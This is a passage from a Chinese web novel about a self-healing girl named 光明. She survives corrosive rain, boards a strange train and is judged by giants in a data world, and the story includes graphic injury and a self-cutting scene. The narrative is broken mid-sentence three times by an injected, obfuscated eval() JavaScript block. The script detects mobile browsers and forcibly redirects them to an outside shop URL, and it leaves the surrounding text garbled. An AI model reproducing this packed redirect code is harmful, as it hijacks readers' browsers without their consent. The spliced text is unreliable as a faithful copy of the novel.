她有异能的都这般,那个傻币男的没舔几口,嘴里就开始流血了,恍然一眼,舌头掉了。
一道道小口子在他舌根里裂开,然后是整个口腔。到这里他也不舔了,他开始害怕这雨,可潜意识又觉得雨不应该是这样的,雨水应该是甘甜的呀。
“啊啊——”呕哑难听且无声的惨叫声在宁静的世界里炸开,他的声带已经发不了声了,那是夜生在帮他呐喊。
那人别扭地扭动自己的身体,想要把自己蜷缩起来。
蜷缩,对,蜷缩是自然界下意识的自我保护方式,他要把自己蜷缩起来,他又愚蠢又害怕,所以他不得不把自己蜷缩起来,就像逃避着将夜生推出去那样。
蜷缩是多么安全的方式。
望舒蹲在夜生身边看着那个喝雨的竹节虫慢慢噎气,死了,和这边夜生极富有生命力的吼叫形成鲜明对比。
她缓缓回过神,夜生身体的很多密密麻麻的小窟窿让她颤栗,手足无措,只能直直流泪。
她一哭,夜生的喊叫声就止了,沙哑的嗓子扯出几句傻话:“咳…没事没事。”
“我现在能让你、你们记住了吗?”
毫无疑问,这个惨样是不会有人记不住的。
望舒边哭边点头,根本说不出话。夜生眨了眨仅剩的一只眼睛,那眼睛空洞极了,他喃喃说:“……我其实不喜欢这个名字,很难听……听着就像没有家人。”
“真烦呐,无论做什么事情都做不好,总是可以被随便抛弃……”
……
……
夜生死后世界似乎有很长一段静默,直到夜晚,直到光明的肚子咕咕叫。
……
顾森在黑黢黢的夜色里给她抛来一个东西,光明被砸,脱口就是一句“靠”。
顾森的声音随后传来:“给,勇敢者的奖励。
光明将顾森丢过来的东西捡起,摸了摸,再摸了摸
——食物。
4. 骗子害人(四)
光明有些不可置信地朝着顾森的方向看去:“你……”
“最后一个,我没那么心善。”
光明根本不想去思考为什么顾森仅剩一个面包还要给她,光明只有一个念头:就算这个面包有毒她也是会吃下去的。
她边吞口水边把包装郑重地撕开,指尖带着伤口还没完全恢复的细微抖动,应该是疼的,不过也可能是兴奋。
光明犹豫了一下,不停吞咽口水,她有多久没吃饭了?她有将近10天没吃饭了!光明承认饥饿确实是能够寄生的魔鬼,她想要食物甚过所有,无论是谁给她什么食物她都会毫不犹豫地接过往嘴里塞。
在她离家出走这三年里,运气好的话,一天能吃上一顿盒饭,运气不好的话,就只能翻翻垃圾箱。
她握紧面包,试探性地看了顾森一眼,顾森正朝她露出友善的微笑。
光明的肚子响了一声。
“不吃吗?”顾森问。
光明皱着眉,犹豫了很久,还是抬起手,用颤抖的指尖将面包小心翼翼地分成了三份,两份分别给了望舒和顾森,给自己留了最多的那份。
望舒把伤心都纹在脸上了,接过后面容有了几分舒展,道了声谢,开始小口小口地嚼那一小块面包。
顾森接过面包块一笑,将面包一口丢进嘴巴里,嚼了嚼说:“你的异能是自愈,感觉能活很久的样子哎。”
光明羡慕顾森吃面包的洒脱模样,又听见这人在谈她,她哦了一声,算是回应,而后专心致志进食起来。
这异能似乎真的能让她活很久,不仅能疗愈细小的伤口,甚至能够修复她即将逝去的生命。
光明记得她第一次淋雨时和夜生一样,疼得打滚,但她比较聪明,她滚对地方了,她闭眼躺在地上,等待死神降临。
最后她睡着了,醒来时发现伤口全好了。
顾森看光明一块面包掰着吃了23分钟,最后还意犹未尽地舔了舔手指,又给她扔了几个。
光明眼睛一亮,随即瞪大了眼睛,先是数了数,一共7个小面包,她把之前的事一股脑抛却脑后,问道:“还、还有吗?”
顾森挑眉:“嗯?”
光明直言不讳:“问你还有没有,你有我就不给你分了。”
顾森:“……还有。”
光明点点头,给望舒分了三个,在望舒的道谢声中狼吞虎咽起来。
她似乎终于是想到了什么,发出疑惑:“心理学吗?社会学?看你总是在观察我们。”她仔细想了想又觉得不对,顾森的气质感觉对不上,在光明这个业余人士看来,顾森的确一直在观察,有能力但又带着“作壁上观”的意味,光明再想了想,还是摇了摇头:“不对……”
顾森的行为太冷漠了,对于周遭的一切都只是轻微干涉,一直炯炯有神地耐心观察着,但其实她的观察是不带有研究的意味的,她眼睛里是炽热的、赤诚的,更像是好奇,好奇这个人或这群人会怎么做,作壁上观也是饶有兴致的。
光明觉得顾森更像是一位很有自己风格的研究者。
顾森了然一笑:“对了一半,我也很喜欢心理学,才考取资格证没多久……不过我之前说过哦,我是来实地考察的。”
食令智昏!
食令智昏~
光明讪讪地发出了一声很丑的笑。
顾森应该也是个不追求高雅的研究员:“没关系,我原谅你了。”她带着高深莫测的笑意,“不过我很想研究你。”
“咳咳。”被好心原谅的光明噎了一下说:“别啊,你在这里随便挖瓢水来研究都比研究我有用。”
“你说异能是吧?我也不知道!稀里糊涂淋了一场雨就有了!哎呀我这人特别幸运,就剩一口气居然还能活,哈哈。”
顾森赞同地点点头说:“确实,你真的很幸运,”她一转话题,朝光明又扔了几个面包,“那我收买你一下可以吗?我来研究研究你的幸运。”
……
光明抵抗了几秒,被一瓶矿泉水收买了。
……
——
接下来四天望舒睡了又睡,吃了又睡,光明也在顾森的“研究”下美滋滋地饱餐了一顿又一顿。
“你这包究竟有多能装?”光明好奇问道。
正好顾森又从里面摸出来一个面包,光明不知足地说再来瓶水,顾森就真的给她一瓶水,并回答起她的问题:“里面有一个错位空间,直接连接到我的储存库。”
神奇!
“A区这么多好东西?”不等顾森回答,她激动道,“也就是说里面还有其他的!我可以换个口味吗?”她顿时兴致昂扬,不自觉咂咂嘴,期待地望着拥有魔法口袋的顾森。
顾森:“没有哦,”她露出了在光明看来很变态的微笑,“我只喜欢吃这个。”
……
你的意思是你满满的储存库全是同一种面包是吗?
光明不理解,光明叹气,她把面包熟练地丢进嘴里,随便嚼了两下,又喝了半瓶水。
最后百无聊赖地四处望,手放进衣服口袋里摸到了一张纸——车票。
经过几天的相处之后光明对顾森莫名的有种信赖感,她将车票拿出来递到顾森面前:“正常车票是长这样吗?”
光明没见过车票,但顾森一定见过。
顾森接过:“你要去哪里?”
光明回答说不知道,能去就哪里去哪里。
日子已经到了不能更坏的地步了,所以无所谓去哪里。这个世界很糟糕,所以去哪里都注定糟糕,没什么可以期盼的。
她见顾森反反复复地打量这张车票,觉得不愧是研究人员,就是如此细致。
顾森表情渐渐凝重,透着快要溢出来的疑惑,她不停地正反面翻动这张小纸片,光明见状问道:“咋了?有问题?”
光明像一个病人,心怀忐忑地等待顾森大夫的诊断结论。
顾森半晌后摇了摇头,脸色逐渐正常起来,把车票还给光明:“去吧,是正常的哦。”
光明松了口气:“那你还这么严肃。”
“……我很严肃吗?或许是……刚刚突然想到了些事。”顾森的眼中难得一见的怅然,她呆呆地望着阴暗的天空,光明也顺着她的眼睛望过去。
雨幕还在继续,连续不断地滴在地面上,还冒着气,又极速地被排流走。
顾森突然从书包里摸了件红色的卫衣外套递给了光明:“给,我没穿过的。算是感谢你让我研究。”
光明利索地把自己那件破旧的黑色麻点外套脱了,乐呵呵接过:“没事,穿过也不要紧,”她想了会,朝顾森丢出一个“我又知道了”的眼神,“其实你穿过的吧?”
顾森哼哼一声:“很了解我嘛。”
光明一脸看破红尘不说破的模样,啧啧两声。
“我还是很想知道,你有这么多东西……为什么不分点出来?”光明没想那么多,脱口而出后又感觉不恰当,但她想着都快和顾森分开了,所以继续问,“我的意思是,哪怕你给出两个面包,那两个人就不会死了。”
“没有指责你的意思,只是好奇。”光明认为自己不应该干涉任何人的决定,如果换做是她,说不定自己连一块面包都不会分享。
“我没有任何义务将我的所有物给他人,何况……看他们死对我的研究来说挺有意义的哦。”
顾森这个人看上去挺阳光的,内心却这么……理性。
光明顺着问她:“如果是我或者望舒被腐雨淋死呢?”
顾森把背包的拉链拉上了,身体坐直了些,回答得稍显认真:“嗯……我并未想过这种可能,也觉得不会存在这种可能。”
“如果是你,我百分百确定你不会需要我,如果是望舒……那很抱歉,我的思想体系告诉我,我更加偏爱女性,我不会让这种事发生。”
……
接下来这三天顾森继续研究光明,从说好的异能研究开始,在顾森的收买之下,光明把自己十七年的经历全部通通给顾森扯完了,身上哪里有疤,前几年饿得捡垃圾吃,结果中毒昏迷了老几天,还是被一只狗舔醒的……<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343039|199450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>顾森最后问了她一个问题:“你为什么会在这?就算你是孤儿,那也应该接受收养政策。”
在科技时代,虽然已经人满为患了,但孤儿却是罕见的,联邦对弃婴行为进行了严格禁止。
其中的漏网之鱼绝大多数都是父母双亡,祖上也死绝了,这样联邦会专门安排家庭收养或者送入福利院。
光明反驳:“我不是孤儿,我只是离家出走了。”
顾森:“嗯?”
光明笑了:“离家出走呢,意思是我对陈豆豆女士感到不满,一脚踢开门,跑了。”
顾森了然:“哦,这样啊……陈光明。”
光明:“呵呵。”
第八天早上雨果然停了,三人随便打过招呼就分别了,光明从早上转转悠悠到黄昏终于找到了站台。
她大致扫了一眼,发现这个站台根本没有人,站台地面入口和地铁站入口很像,不过列车站台悬浮在空中,需要乘坐扶梯上去,光明走近,发现入口左上角写着“巴别塔BaBieTa站”。
光明犹豫了。
饥饿魔鬼暂时被解决,可是魔鬼低语着,告诉她饥饿即将来临。
她在扶梯口站了一会,通过旁边那面透明玻璃,看见了红色外套抱着黑色外套,以及她一头乱糟糟的长发。
要上去吗?
生活总会越来越好的吧。
怎么都不会比现在更差了吧。
光明鬼鬼祟祟地等了好一会,还是没人来,她一鼓作气,再一鼓作气,进去了。
“靠。”
死马当活马医吧,反正最坏的情况不过是列车的终点就是她捡垃圾的起点……
——
就这样,光明阴差阳错地来到了列车上。
简直吃了一个大亏!
“哐——”
她头上的照明管道突然又炸了一只,玻璃零零散散地砸落在地面。光明抖了抖帽子上的玻璃,又见头上的其他灯管爆闪,她心下一惊,立马找了个角落,将自己裹紧在外套里。
“砰砰——”空寂的列车里不知从何处响起一道男声,他模仿完玻璃管爆炸的声音后就低低地发笑,不过声音出奇地悦耳,分贝不高也不低,沉沉地,但是又像是轻飘飘地开玩笑。伴随着轻笑的是股幽幽的香气。
“姐姐。”
光明瞪大眼睛。
什么鬼东西?
“没事了,快出来吧,你咋还是这么……”他轻声叹气,里面夹杂着说不明的情绪。
光明闻声探出一双眼睛,列车剩下的灯没灭也并没有爆炸,她将那件黑色外套提起来,再抖了抖,重新放在臂弯里,向四周看去,刚刚的男声也不知是从哪里传来的,她在这节车厢里来来回回地慢走,车厢两头的门已经被关上了,在空中行驶的列车车窗上什么也看不清,依旧一片朦胧黑雾。
“咔”的一声,她踩到了玻璃碎片,再次低头时,一股眩晕感扑面而来——那些玻璃碎片上已经有画面了,光明眯眼看去,持剑而死的,被啃食死的……都是她。
光明此刻百分之百确定有人在整她,可为什么是她?
对付一个天天捡垃圾的残次品真的不需要耗费这么多的功夫,提前把垃圾桶一翻,让她捡一天一无所获岂不美哉。
光明回想起自己来这里的原因,想到了那个跛子和机器人……玛德太缺德了,就为了一块废钢……
真的至于吗?不至于。
她扪心自问自己虽然有一些些神经大条,脑子经常抽筋,但必要的事情总归是能想明白的。
之前虽然不在乎那个跛子为什么要给自己车票,但那也是出于对自身价值的判断,她能影响到什么?答案是0个人。
所以提问就毫无价值。
但自己如今站在这里跟他们肯定脱不了关系,她只是想不明白原因。
靠,脑袋疼,算了不想了,既来之则安之,等应付完这个麻烦,这里还有这么大的地板睡……也行。还是先想想……
“姐姐?”
下一顿怎么办吧。
5. 骗子害人(五)
光明感觉那股幽幽的香气更浓了。
列车内灯光昏暗,光影像是在地面抽搐。
她闻声走一圈,还是找不到男声是从哪里传来的,反而这些玻璃中的场景晃得她脑袋更疼了。
有种灵魂被抽离之感,光明突然难以分清自己在哪里,是列车中吗?还是在玻璃里呢?是这一片,还是那一片?
光明摇摇脑袋,捡起一块玻璃,那些死亡画面还在不停放映,她咬紧牙关,用手覆盖住这片玻璃中的图像,将玻璃尖锐的那端朝手臂处一划。
光明深呼一口气,终于清醒了些。
可大概十几秒后,伤口愈合了。眩晕感再次袭来。
光明的异能是自愈,所以不够,划得不够,她暗自骂了一声,又拿着玻璃冲手腕去。
“姐姐,抱歉。你别再伤害自己了,我们玩个游戏好不好?”
那道男声又出来了,他说得似乎有些着急,随着他这一声,玻璃上的画面倏然消失,列车也恢复了明亮,光明抬头,所有的灯管都完好无损,那些玻璃片也凭空消散了。
这是异能吗?光明生出疑惑,但还是摸不透眼前的状况。
男生沉闷的嗓音裹着清冽的气音。
光明转身,发现她右前方的角落里坐着一个小男孩。
不,不是角落,光明眯了眯眼,是车窗里,那个男孩坐在车窗里面,穿着一件格外宽松的红色连帽衫,里面是干净的白色t恤,他盘腿坐着,扒了扒雪白的头发。
光明注视他,渐渐地,她看见男孩的脖颈正在拉长,关节发出树皮开裂般的脆响。
他的眼白完全被浓稠的红色填满,像是火光燃燃,那颗红色还在眼眶里直打转,紧接着,男孩嘴角咧开出一个超出人类下颌骨的极限的弧度。
光明只是眨了下眼睛,就看见男子身前摆了个涂鸦本,花花绿绿的本子正无风自动,泛黄的纸页哗啦啦翻动,每页都画着不同死状的光明,这些和她刚刚在碎片里看到的一模一样。
眼前这画面绝对是一种精神污染,光明扯了扯嘴角。到底是谁要这么整她?
“七盏灯灭,三更天。水镜背面有道桥……”男孩轻声嘟囔,“从此,往生。”
什么意思?听不懂。
光明看着男孩不断抽长的脖子,不断提醒自己,那也是异能,不是什么鬼神,眼前所见并非真实,而是镜子的变形,男孩的能力和镜面有关。
光明向男孩靠近,她看着男孩抽长的脖子,又觉得那股眩晕感隐隐再次袭来。
她呼吸急促起来,心脏剧烈跳动,烦躁地猛甩头。
“姐姐,你已经连这种程度都受不了了吗?”
男人的声音打断了她,那声音里掺着无奈和落寞。下一秒,光明思绪清明,玻璃上和涂鸦本上的自己也消失无踪。
不过光明始终看不清他,男孩分明就站在那里,可她无论如何就是看不清,那黑雾肆无忌惮地缭绕在他周围。
这是他故意的?还是说列车车窗中原本就是如此?
“姐姐,你过来。”男孩的声音和他的年龄完全不搭,他讲起话来,声线沉沉,还夹着淡淡的慵懒味道。
光明不动:“究竟要做什么?”
男孩淡淡地说:“你和我玩游戏,我可以告诉你所有你想知道的事。”
光明疑惑,这是什么情节?她需要玩游戏然后各种通关最后拿到奖励吗。莫名其妙地上了列车又遇到了莫名其妙的人,现在还要进行莫名其妙的游戏,简直莫名其妙。
她皱着眉,也不问其他的,试探性提出要求:“好啊,不过我现在就有一个问题,你回答了我就答应和你玩游戏。”
男人说:“嗯?可以的。”
“这场游戏我会有生命危险吗?”
男人说:“没有哦,”他勾了勾手,“你过来吧。”
光明装作没看见,再问:“不会死吧?”
她身上最重要的东西就是自己的生命了。
男人说:“死不成的。”
“你怎么保证?”
“我用我的性命保证。”
光明一愣,眼前这人莫不是疯子吧。
“你会同我一起进入到这面镜子里,所以不用担心。”男子微微一笑,“你不是还有异能吗?没那么容易死的。”
光明这才向他走去,走得近了,才看清男子的长相,可哪还有什么小孩,只一个起码一米八的男的垂着脑袋看她。
红衣男人是带着笑意的,外衣现在看起来终于合适了,男人头发是白色的,皮肤也很白,没什么血色的白,左边脸颊上一颗的痣,被雪白衬得格外乌黑。反正总体来看,一点儿也不像人类。
男人一双桃花眼笑眯眯地看她,挑眉柔声说:“surprise~”
光明疑惑。
他说:“姐姐,你好着急。我本来还想和你玩更多的游戏……来欢迎你的。”
“毕竟我们见面时间太短了,有点舍不得。”他说着垂眸,很无奈地摇了摇头,看上去到隐约有几分真情。
光明一头雾水,领会不了一点。她是真的很懵啊!到底要干嘛……她只想快点处理完眼前这件事然后躺在碎玻璃满地的列车上好好睡一觉罢了……
“游戏规则很简单,你要找到我。”男人说着将揣在兜里的手拿出来,在衣服上轻轻擦了擦,这才向光明伸出了手,“来吧,游戏开始。”
她向他伸出了手。
他握上了,说:“给你个提示:七盏灯灭,三更天,镜子背面有道桥……”
“哦不,应该是八盏。”他不好意思地笑了笑,歪头垂眸又笑,桃花眼眯成一条缝,有一个弯弯的弧度。
光明只觉得天旋地转,然后摔进了一个轻轻柔柔的怀抱中。
她也终于闻到了列车上那股花香的主人。
良久,光明醒了过来。
这是个装满灰紫色的地方,光线极黯,她估计自己现在应该是呈“大”字躺在河边,身下的小石粒硌得她背疼,耳边还不停传来密密麻麻轻微的流水声,像是在往耳心里灌。
她撑起身子,身边的确是条小河,河流不急,几乎趋于“平稳”,但河面极宽,光明眼前刚好是一座拱桥。
桥上飘着几根明明灭灭的蜡烛,一共八根,长短不一,从短至长依次排列。红蜡烛把这昏暗的地方点亮了几分阴森,周遭就这里最明亮。
且这桥修得很低,悬在河面上,拱桥倒影在水面恰是一张不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343040|199450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
完整的红月。
光明上了桥,手扶在锁链上。碰触的一刹,锁链开始发光,逐渐透蓝,最后蓝绿相叠加,成了一条数据流,密密麻麻的,渐渐延展开来。
世界顿复颜色,却是颜色混沌,水可能是绿色的,草地可能是红色的,但总体而言,世界依旧昏暗。
看来这是个数据构筑的世界,光明需要在这里找到那个红衣男子。
这个游戏没有时间限制吗?那游戏结果怎么认定?光明懒散地靠在桥边,指尖轻轻点在桥上,点出一朵接一朵的小野花。
若这个世界是数据构成的,那就不真实,世界里没有风,没有气味。
对,没有风,也没有气味。
她的视线落在了身旁逐渐滴落的蜡烛上,光明把手掌覆了上去,有温度,将滴在手背上正逐渐凝固的蜡液置于鼻尖,有味道。
这就是时间限制吗?
男子的轻柔笑着的面庞浮现,光明毫无根据地想:算了,应该死不了。
尽管这样想,但她仍旧老老实实在桥边坐了好一会儿,直到其中一盏最低的灯熄灭,这个地方的光度暗了几分,她才出发。
光明穿过低矮长桥,来到了对岸。
长河的两侧界限分明,她来之前的地方,河岸枯萎,土地湿淋,丛丛矮小猥琐。而这一侧,树木繁盛,阳光毫不吝啬地倾泻着。
她还没感叹几秒,平坦的土地忽而剧烈晃动,河水开始沸腾,卷起碎石向她袭扑过来。
紧接着,光明眼前出现了个参天大树。
那像是柳树,一缕缕枝条垂下,直直垂到地面上,但枝条是黑的。树身也格外粗壮,大概有科技时代中一栋居住房的宽度,它被埋在枝条内,看不出颜色。
光明眨巴眨巴眼睛。
一颗巨大的黑色柳树在飞快地移动!
说是移动还有些不恰当,一颗巨大的黑色柳树在飞快地跳动!
柳树一蹦一蹦的,一会悬在半空,一会嵌入地里。
光明试图跟上这颗柳树,下一秒她就更为震惊了。
倒不是因为这奇怪的柳树,是因为她她她爹的跑得太快了!而且毫不费力!健步如飞!
她从来没这么畅快地跑过,身体也从没有如此轻松过,似乎是卸下了所有的重量和思绪,身体不再累重,再没有林立高楼阻挡,再也不用去考虑下一顿怎么办,她觉得自己是一个极富野性的狮子,风被迫在耳边呼啸,身体矫健地躲过一阵阵无序乱飞散的柳树条,她想去哪都可以,想做什么都可以。
光明咧了咧嘴。任凭风填满她的口腔,恣意地靠近又离开。她跑得急切,又无所顾忌,不一会儿就把柳树甩到后边去了。
然而她并没有忘记自己是来解谜的,她放慢速度,思考起来,这柳树虽然移动得极快,但又会在一定距离后停下,总体呈周期性移动,这当然也是她能够超过柳树的原因。
……这柳树上年纪了?
哎呀,年轻真好。
她恬不知耻地想。
好一会儿,光明又超过这棵大黑柳树了。
不过,这柳条未免太茂盛。
她嗖的一下又躲过一条柳枝的抽打,转头回望,下一秒却猛地呆坐在地上。
6. 骗子害人(六)
几秒前的精神气一去不复返,“柳条”继续簌簌席卷,但光明被眼前的这一幕震惊得整颗心剧烈颤抖:
这是一个人类,一个巨大的人,正在移动的巨人。
我、我靠。
这他爹的啥啊。
光明看见了身后土地上大面积的坑坑洼洼,那是巨人的脚印,她甚至看见了不远处同样的“一颗垂柳树”,不过那颗是绿的,一大团绿毛在风中乱飘。
四下风动,气流在这腿周围流转。
光明稳着身子向上望:这个数据世界没有太阳,她分不清天的界线在何处。但她看见这只腿属于一个巨人,她这个视角里的巨人很难看,巨人不穿衣服,也分辨不清性别,因为它长着胡子,如泉水洒下,直直到膝盖处截止,它的其他体毛也格外丰富,只有像泥巴地一样粗糙的膝盖被展露在外,而小腿便是“柳树”的树身。
“啪——”
她被柳条狠狠地抽了一下。
光明捂着脸,猛然回神:哎呀呀呀呀!怎么得了,爹的玛德真恶心,她居然跟着个腿毛跑了这么远!
光明嫌恶地抽了抽嘴角。这个巨人应该是有目的地,它的步子始终没有停留,反而越来越快。光明忍无可忍,但只能再忍,跟着这个恶心人的大腿总比她一个人毫无头绪地乱走要好。
如果这真是个柳树,她说不定是会想办法爬上去的,毕竟谁不喜欢有个座驾呢?但……光明抬头再打量了一番这颗“黑柳”,还是算了吧。
不知跟着跑了多久,在一个和刚才别无二致的平原景观上,她看到了更多的巨人,一共七个,她看不清每个长啥样,只能靠方位和巨人不同颜色的腿毛抖动来分辨谁在说话。
巨人说的并不是光明熟知的语言,且每个巨人都在说不同的话,但她莫名听得懂。
“真慢,开审判会呢。”膝盖最黑的巨人说。
“睡过头了嘛,又不怎么样,你有其他的事?”绿膝盖巨人应该是又转过头和其他巨人说,“你们有?”
那些巨人没说话,它继续道:“着什么急,反正还不是就我们几个人。”
光明在底下实在看不清,只能听声音,而且这些巨人的声音真的是巨大,她感觉耳膜断断续续地破了好多次,又被自身修复回去。
忽然,其中一个白膝盖动了动手,在空中挥了一下。
空间倏忽变换,全是纯白颜色,天空有顶了,或者说天空被覆盖了,周围全部被白色包裹起来。这里应该是他们用来审判的地方,白膝盖巨人还变了一个桌子和天秤,但下一秒光明的视线就被挡住了,她置身于巨大的白色圆桌之下。
绿膝盖巨人道:“又是这样?能不能在外面谈,这里面闷闷的。”
其中一个棕膝盖的巨人拍了拍桌子,怒道:“坐下,爱谈不谈,该滚就滚。事真多。”
绿膝盖巨人就坐下了。
七个巨人围在圆桌前,开始审判会。
光明看不见桌上有什么东西,但她想这一定是个重要的信息,只得狠下心,跑向那绿膝盖巨人,拽起腿毛往上爬,至少它真的像棵树,她这样安慰自己。
光明顺着腿毛慢慢地爬了上去,每爬一步透蓝色数据流就会闪动一瞬,她的速度很快,动作丝毫不拖泥带水,却也花了十几分钟才来到了圆桌边上。
她爬之前大概丈量了巨人的位置,绿膝盖巨人和刚才那个黑膝盖的巨人之间有条沟壑,光明就移到这缝隙,再凭着这绿巨人的胡子荡上圆桌。
巨人的圆桌上有什么呢?
是她。
爹的又是她。
“光明”被困在十字架台上,但她身上没有任何束缚,只是低着头,看不出神情。
巨人将圆桌包围,而“她”被“绑”在圆桌中央,光明油然生出疑惑:
……
“她”为什么如此顺从?
我为什么会如此顺从?
光明有些惘然,此时她望着“她”,但她分辨得清自己是谁,或者说,自己的主体意识始终在自身,与之前玻璃上各种模样的她感觉不一样,完全不一样,她总感觉眼前那个人虽然是自己但又不像自己。
此地无声无风,光明却渗出细细密密的汗来,她摸了一把,冷的。
世界苍茫,耳际是巨人说话发出的呼啸。光明站在圆桌之上,向下是千丈鸿沟,向上是深不见底的白茫茫、荒谬的苍穹。
她感觉自己被看见了。
随即,她脑袋里又是一片混沌。她为什么会来到这里,这里是什么地方,这些巨人又是怎么回事?
再睁眼时,光明在不知不觉间竟走到了圆桌中央!
光明抬头望去,不知道什么原因,总算是能看到巨人的脸了。
它们的上半身抵在圆桌边缘,姿态舒展,一手撑着脑袋,看起来极为惬意,稍稍垂着头注视着十字架。
光明想要看清它们,但她无法做到,视线所及皆是模糊一片。
这些巨人把她围困起来,能够获取的信息只有他们的眼睛和其他除去面容之外的特征,不过眼睛也并不能算是一个有用的信息,因为它们都眯着眼睛,眼睛的缝隙在硕大的头上像是一道海沟。
她看不清巨人的脸,每当她想要细看时,眼睛就开始刺痛,她只有一个初步的印象:
它们都长一个样,只是颜色不同,白膝盖就是白色巨人,绿膝盖就是绿色巨人。
“资格者,你是否服从判决?”白色巨人说,它用手抵着额头,神色慵懒,说话时也吝啬地没有睁开眼睛。
光明心底一空,一种无形的重力不断攫取着灵魂。身体发沉,但灵魂似乎即将扯出,其中的撕裂感让她呼吸不过来。
大概缓了几秒,幸好治愈在这个鬼地方强大得多,光明才感觉自己是站立着的。她看着十字架前的自己,“她”没说话。
“资格者,你是否服从判决!”黑色巨人勃然大怒。
“她”依旧没有说话。
光明走到“她”面前,想要触碰“她”,但那只是一团数据。她能触碰,但也不能触碰,“她”永远看不见她。
光明感到不解和气愤,她不明白那个自己为何如此驯顺,连一句反驳的话也说不出口。
“她”没有说话,但光明摇了摇头,再摇了摇头,蹙着眉问:“……为什么?”
她究竟为什么在这里,又为什么看见了这些?
跛子,机器人,顾森,那个白发男子……是因为他们吗?靠。
“最后问一次,你是否服从判决!”棕皮肤巨人冷声喝道。
“不服从。”
“她”还是没说话,光明替“她”说。
光明语气反常得冷静,并没有被凶兽围困时走投无路的挣扎,更没有谨慎。她只是想要表达自己的、一个毫无作用的态度。
静默。
静默。
“出来。”白色巨人开口了。
光明寻声和白色巨人对视,心中不知为何地沸腾起极大的愤怒,她顽固地盯着巨人,直到眼睛流血,痛感直逼大脑,但她没有放弃对视,在光明看来,审判者需得要有注视质问者的勇气。
如果连注视被审判者的勇气都没有,那它们究竟凭什么高坐其上,空谈裁决。
被看到了又怎么样!不过是一群连眼睛都不敢睁开的胆小鬼。
白色巨人的话音刚落,忽然,十字架前蒙了一团白雾,一个人影浮动,显出轮廓。
“Cronaris”她听见白色巨人说。
……什么?
她睁着个血红的眼睛到处瞎望,“自愈”不知道什么时候已经修补好了她的眼睛——她在这里的异能诡异地很强大。
她看见了十字架前那团白雾。
那团白雾里似乎有什么东西。
影子。
两个人影在白雾里靠近,矮一点的人影缓缓地抬起笨重的腿上了一节平台,将双手环上了那高一些的人影,他的手似乎比腿还长。
下一秒,矮一些的人影紧贴着拥抱了高一些的人影,将头埋在人影的颈肩。
光明细看,那个矮一些的影子上台阶的动作很奇怪,那人似乎是跪着的。
光明眯了下眼睛,发现高一些的人影是被
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343041|199450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绑在十字架上的“自己”。
“她”始终没动。
只是光明觉得,雾气里下雨了,那或许是“她”的眼泪,也或者是另一个影子的。
较低的人影继续跪着上了一节阶梯,还是比“她”矮,人影再上了节阶梯,两个影子的高度终于堪堪持平了。
下一秒,人影捧着“她”的脸,郑重地吻了上去。
一片火红的树叶飘旋,整个审判默声。
良久,那影子埋在“光明”的怀中,不知不觉间,许多鲜红的树叶开始盘旋而下,人影终于缓缓抬头,轻柔地抚摸了“她”的脸颊、发丝、眼睛……
叶雨舞下。
这场景其实发生得很快,但光明总觉得恍惚间看见的、他眼中的迷恋、忠诚以至于缓慢才是更为真实的。
她眨眨眼……
这“治愈”是出问题了吗?
渐渐地,白雾里那个矮一些的影子变高了,比“她”高了好几个脑袋。一旁的光明抹了把眼角的血迹,更细致地看,原来那个矮影子真的是跪着的!
他一步一跪地上了阶梯,珍重地亲吻了那个人。
几秒后,雾气里的那人终于起身,不过手还在捧着“她”的脸颊,与“她”额头相抵,他似乎还想要吻一次,却一瞬顿住,迟疑着将双手慢慢放下。
他低垂着头,眸子里泛着水雾和悲伤,依旧虔诚地看着十字架上的那个人。
当红叶刚好洒在了雪白的圆桌上时,影子从白雾里伸出来了一只手,再是手臂……最后是一张忧郁孤寂、眼角通红的面庞,跟那男孩一模一样,不,应该是和男孩的成年体一模一样。
“Cronaris。”
光明眼前的迷雾散去,数据完整流构成了那个男子。但他没穿红衣,而是白色丝织物包裹全身,瞳孔也不是纯黑色的,是血红色,他缄默地“伫立”着,宛如清冷高贵的神明。
光明无意识地跟着出声轻唤:“Cronaris?”
Cronaris眨了眨眼睛,回答道:“我在,我的主神。”
这话显然不是对光明说的,她有这个自知之明。
从目前的信息来看,Cronaris和“她”认识,并且关系还匪浅。
此外,这个世界和她所处的并不是同一个,光明甚至还无法判断这个世界是否虚构,她只能进一步揣测,这是一个和Cronaris有关的世界,这或许是他的记忆……那她现在所看见的这些都是真实发生过的?或者,Cronaris其实有预言的能力,她此刻所见都是可能会发生的?不然她真的想不出别的原因。
但最重要的一点是Cronaris为什么要她看见这些。
白皮肤巨人是Cronaris的主神。
它语气淡淡地发出命令:“Cronaris,手稿呢?列出她的罪行。”
